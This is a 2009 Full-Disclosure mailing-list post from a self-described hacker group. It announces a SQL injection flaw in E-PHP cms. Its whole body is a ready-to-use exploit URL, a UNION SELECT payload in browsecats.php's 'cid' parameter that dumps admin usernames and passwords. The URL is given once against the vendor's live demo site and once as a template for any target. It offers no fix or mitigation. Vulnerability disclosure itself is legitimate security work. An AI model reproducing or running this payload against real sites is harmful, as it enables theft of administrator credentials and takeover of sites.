[Full-disclosure] E-PHP cms SQL Injection Vulnerability
- From: saied hackeriran <saiedhackeriran@xxxxxxxxx>
- Date: Tue, 27 Jan 2009 03:46:13 -0800 (PST)
E-PHP cms SQL Injection Vulnerability
#############################################
Dicovered By: SaiedHacker
Group: HackeranShiraz Security Team
Web Address: www.HackeranShiraz.Com
E-mail: SaiedHackerIran@xxxxxxxxx
Creator: http://ephpscripts.com
#############################################
Demo Exploit:
http://ephpscripts.com/demo/cms/browsecats.php?cid=-12%20union%20select%200,concat(es_username,0x3a,es_password),2,3%20%20from%20esnm_admin
#############################################
Exploit:
http://Target/cms/browsecats.php?cid=-12%20union%20select%200,concat(es_username,0x3a,es_password),2,3%20%20from%20esnm_admin
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
- Prev by Date: [Full-disclosure] SAP NetWeaver Cross-Site Scripting
- Next by Date: [Full-disclosure] [USN-712-1] Vim vulnerabilities
- Previous by thread: [Full-disclosure] SAP NetWeaver Cross-Site Scripting
- Next by thread: [Full-disclosure] [USN-712-1] Vim vulnerabilities
- Index(es):
Relevant Pages
|
